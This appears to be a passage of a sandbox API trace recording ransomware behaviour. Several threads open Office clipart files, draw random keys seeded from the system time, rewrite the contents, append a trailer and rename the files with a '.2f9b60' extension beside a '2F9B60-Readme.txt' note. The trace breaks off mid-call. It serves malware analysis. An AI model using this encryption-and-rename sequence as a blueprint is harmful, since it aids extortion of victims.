[0109.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265000) returned 1 [0109.888] NtQueryInformationFile (in: FileHandle=0x15b8, IoStatusBlock=0x2b3efa78, FileInformation=0x2b3efa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b3efa78, FileInformation=0x2b3efa88) returned 0x0 [0109.888] NtSetInformationFile (FileHandle=0x15b8, IoStatusBlock=0x2b3efa78, FileInformation=0x2b3efa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b30) returned 1 [0109.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0109.903] FlushFileBuffers (hFile=0x15b8) returned 1 [0109.904] CloseHandle (hObject=0x15b8) returned 1 [0109.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500b30 [0109.906] wcscpy (in: _Dest=0x20500b30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.906] wcscat (in: _Dest=0x20500b30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b30) returned 1 [0109.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b0b0) returned 1 Thread: id = 678 os_tid = 0x117c [0096.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0107.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", dwFileAttributes=0x20) returned 1 [0108.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d8 [0108.561] GetFileSizeEx (in: hFile=0x15d8, lpFileSize=0x2b4bfaa0 | out: lpFileSize=0x2b4bfaa0*=7968) returned 1 [0108.561] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x1f1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.561] ReadFile (in: hFile=0x15d8, lpBuffer=0x2b4bfa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b4bfa68, lpOverlapped=0x0 | out: lpBuffer=0x2b4bfa20*, lpNumberOfBytesRead=0x2b4bfa68*=0x4, lpOverlapped=0x0) returned 1 [0108.566] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.566] NtQuerySystemTime (in: CurrentTime=0x2b4bf960 | out: CurrentTime=0x2b4bf960*=132462177140590000) returned 0x0 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x515e35d7 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x57238d39 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x47cbdeab [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x55800cdf [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x1634e33c [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x35c1bc52 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x36104f10 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x324bc3f9 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x7bcbcebe [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x57fe4698 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x68cc9799 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x79e78dbc [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x2fc54ac4 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x3e8f9cc6 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x255a5b53 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x4037dd85 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x6373725c [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x48393eae [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x2e8b2727 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x7c3e12a4 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x2debbf4b [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x183605ac [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x1fac68fc [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x3cd6f2ba [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0xe9b4d4 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x39706e6b [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x6facfffe [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x33ea8b44 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x21a7ee30 [0108.567] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x4f04363d [0108.568] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x62dd9047 [0108.568] RtlRandomEx (in: Seed=0x2b4bf950 | out: Seed=0x2b4bf950) returned 0x131f89e6 [0108.576] ReadFile (in: hFile=0x15d8, lpBuffer=0x41e578d0, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x2b4bf950, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesRead=0x2b4bf950*=0x1f20, lpOverlapped=0x0) returned 1 [0108.583] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.583] WriteFile (in: hFile=0x15d8, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2b4bf954, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x2b4bf954*=0x1f20, lpOverlapped=0x0) returned 1 [0108.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0108.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603f0) returned 1 [0108.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0108.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8603f0 [0108.603] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.603] WriteFile (in: hFile=0x15d8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b4bfa70, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2b4bfa70*=0x10a, lpOverlapped=0x0) returned 1 [0108.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa60) returned 1 [0108.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0108.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.636] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="3f") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="82") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="a2") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="3f") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="64") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="b2") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="44") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="60") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="45") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="ed") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="c1") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="7a") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="ba") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="f6") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="fc") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="45") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="04") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="7b") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="c0") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="2d") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="e0") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="3f") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="43") returned 2 [0108.636] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="1c") returned 2 [0108.636] RtlInitAnsiString (in: DestinationString=0x2b4bfae8, SourceString="3f82a23f64b2446045edc17abaf6fc45047bc02de03f431c" | out: DestinationString="3f82a23f64b2446045edc17abaf6fc45047bc02de03f431c") [0108.636] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b4bfab8, SourceString="3f82a23f64b2446045edc17abaf6fc45047bc02de03f431c", AllocateDestinationString=1 | out: DestinationString="3f82a23f64b2446045edc17abaf6fc45047bc02de03f431c") returned 0x0 [0108.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9780 [0108.637] wcscat (in: _Dest=0x20500c70, _Source="3f82a23f64b2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3f82a23f64b2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3f82a23f64b2" [0108.637] wcscat (in: _Dest=0x20500c70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3f82a23f64b2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3f82a23f64b2.2f9b60" [0108.637] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3f82a23f64b2.2f9b60", NtPathName=0x2b4bfa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3f82a23f64b2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x420606b0 [0108.637] NtSetInformationFile (FileHandle=0x15d8, IoStatusBlock=0x2b4bfb30, FileInformation=0x420606b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420606b0) returned 1 [0110.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202658c0) returned 1 [0110.046] NtQueryInformationFile (in: FileHandle=0x15d8, IoStatusBlock=0x2b4bfaf8, FileInformation=0x2b4bfb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b4bfaf8, FileInformation=0x2b4bfb08) returned 0x0 [0110.046] NtSetInformationFile (FileHandle=0x15d8, IoStatusBlock=0x2b4bfaf8, FileInformation=0x2b4bfb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500c70) returned 1 [0110.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0110.051] FlushFileBuffers (hFile=0x15d8) returned 1 [0110.068] CloseHandle (hObject=0x15d8) returned 1 [0110.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20501030 [0110.096] wcscpy (in: _Dest=0x20501030, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.096] wcscat (in: _Dest=0x20501030, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501030) returned 1 [0110.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b140) returned 1 Thread: id = 679 os_tid = 0x1180 [0096.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0107.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", dwFileAttributes=0x20) returned 1 [0108.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1774 [0108.502] GetFileSizeEx (in: hFile=0x1774, lpFileSize=0x2b58f6a0 | out: lpFileSize=0x2b58f6a0*=1832) returned 1 [0108.502] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.503] ReadFile (in: hFile=0x1774, lpBuffer=0x2b58f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b58f668, lpOverlapped=0x0 | out: lpBuffer=0x2b58f620*, lpNumberOfBytesRead=0x2b58f668*=0x4, lpOverlapped=0x0) returned 1 [0108.510] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.510] NtQuerySystemTime (in: CurrentTime=0x2b58f560 | out: CurrentTime=0x2b58f560*=132462177139966000) returned 0x0 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x7c4ab6f6 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x3a373eff [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x27e40b9f [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x297d2dc1 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x299267f5 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x7c9eb99c [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x6ce0774b [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x45e09e07 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x62b308c2 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x490f6720 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x7a799613 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x4f210e35 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x6f1fb4b8 [0108.510] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x2d071bb7 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x42b9a268 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x74a4364 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0xd47ea08 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x245f31e9 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x2420bdf5 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x5f8011b5 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x5e8f08c3 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x7e68fe [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x61b9517d [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x1b39432c [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x10ff95c [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x154a9f8 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x219d56f3 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x27c9c007 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0xc290fac [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x628885fa [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x4e582bb0 [0108.511] RtlRandomEx (in: Seed=0x2b58f550 | out: Seed=0x2b58f550) returned 0x344084ac [0108.524] ReadFile (in: hFile=0x1774, lpBuffer=0x41e578d0, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x2b58f550, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesRead=0x2b58f550*=0x728, lpOverlapped=0x0) returned 1 [0108.524] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.524] WriteFile (in: hFile=0x1774, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x728, lpNumberOfBytesWritten=0x2b58f554, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x2b58f554*=0x728, lpOverlapped=0x0) returned 1 [0108.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861200) returned 1 [0108.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0108.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b861200 [0108.565] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.565] WriteFile (in: hFile=0x1774, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b58f670, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2b58f670*=0x10a, lpOverlapped=0x0) returned 1 [0108.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0108.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0108.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.579] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="19") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="da") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="f0") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="f5") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="69") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="62") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="d0") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="4b") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="9a") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="e7") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="2c") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="82") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="b4") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="0b") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="45") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="27") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ad") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="fc") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="83") returned 2 [0108.579] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="22") returned 2 [0108.580] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.580] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="d0") returned 2 [0108.580] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="57") returned 2 [0108.580] RtlInitAnsiString (in: DestinationString=0x2b58f6e8, SourceString="19da0cf0f56962d04b9ae72c82b40b4527adfc83220cd057" | out: DestinationString="19da0cf0f56962d04b9ae72c82b40b4527adfc83220cd057") [0108.580] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b58f6b8, SourceString="19da0cf0f56962d04b9ae72c82b40b4527adfc83220cd057", AllocateDestinationString=1 | out: DestinationString="19da0cf0f56962d04b9ae72c82b40b4527adfc83220cd057") returned 0x0 [0108.580] RtlAllocateHeap (HeapHandle=0xa0000, 